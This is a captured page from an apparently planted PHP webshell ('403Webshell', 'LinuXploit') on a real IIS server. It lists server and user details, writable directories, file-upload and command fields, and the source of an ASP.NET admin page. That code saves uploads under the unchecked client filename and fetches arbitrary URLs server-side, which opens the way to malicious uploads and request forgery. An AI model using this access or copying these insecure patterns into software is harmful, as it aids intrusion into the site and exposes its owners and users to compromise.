403Webshell
Server IP : 104.21.93.206  /  Your IP : 172.71.255.6
Web Server : Microsoft-IIS/10.0
System : Windows NT WAVE 10.0 build 20348 (Windows Server 2016) AMD64
User : IWPD_458(indias) ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/inetpub/vhosts/indiasmartbazaar.com/pimsharyana.in/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/inetpub/vhosts/indiasmartbazaar.com/pimsharyana.in/admin/adminstrative.aspx.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
using System.Net;
using System.Text.RegularExpressions;
using DevExpress.Web.ASPxHtmlEditor;
using System.IO;

public partial class admin_adminstrative : System.Web.UI.Page
{
    SqlConnection con = new SqlConnection(ConfigurationManager.ConnectionStrings["con"].ConnectionString);

    protected void Page_Load(object sender, EventArgs e)
    {
        if (Session["username"] != null)
        {



        }
        else
        {
            Response.Redirect("login.aspx");
        }
    }

    protected void btnsubmit_Click(object sender, EventArgs e)
    {
        if (FileUpload1.HasFile)
        {

            FileUpload1.SaveAs(Server.MapPath("~/admin/departments//" + FileUpload1.FileName));

        }
        string filename = Path.GetFileName(FileUpload1.FileName);
        SqlCommand cmd = new SqlCommand("SP_insert_department", con);
        cmd.CommandType = CommandType.StoredProcedure;
        cmd.Parameters.Add("@Title", SqlDbType.NVarChar).Value = txtname.Text;
        cmd.Parameters.Add("@Father", SqlDbType.NVarChar).Value = txtfather.Text;
        cmd.Parameters.Add("@Designation", SqlDbType.NVarChar).Value = txtdesignation.Text;
        cmd.Parameters.Add("@Doj", SqlDbType.NVarChar).Value = txtdoj.Text;
        cmd.Parameters.Add("@imagePath", SqlDbType.NVarChar).Value = "admin/departments/" + FileUpload1.FileName;
        cmd.Parameters.Add("@Department", SqlDbType.NVarChar).Value = txtcombo.Text;
        con.Open();

        int RA = cmd.ExecuteNonQuery();
        con.Close();
        if (RA > 0)
        {
            txtname.Text = string.Empty;
            txtdoj.Text = string.Empty;
            txtdesignation.Text = string.Empty;
            lblsucess.Visible = true;
            lblfailed.Visible = false;
        }
        else
        {
            lblfailed.Visible = true;
            lblsucess.Visible = false;
        }
    }
    protected void ASPxHtmlEditor1_HtmlCorrecting(object sender, HtmlCorrectingEventArgs e)
    {
        Regex regex = new Regex("<img[^/]+src=[\"'](?<src>[^'\"]*)[\"'][^/]*/>");
        e.Html = regex.Replace(e.Html, new MatchEvaluator(m => {
            string src = m.Groups["src"].Value;
            string tagStr = m.Value;
            return tagStr.Replace(src, CreateBase64Image(src));
        }));
    }
    string CreateBase64Image(string src)
    {
        if (string.IsNullOrEmpty(src) || !src.StartsWith("http"))
            return src;
        WebRequest request = WebRequest.Create(src);
        using (WebResponse response = request.GetResponse())
        {
            using (Stream stream = response.GetResponseStream())
            {
                using (MemoryStream mStream = new MemoryStream())
                {
                    stream.CopyTo(mStream);
                    return "data:image/jpg;base64," + Convert.ToBase64String(mStream.GetBuffer());
                }
            }
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit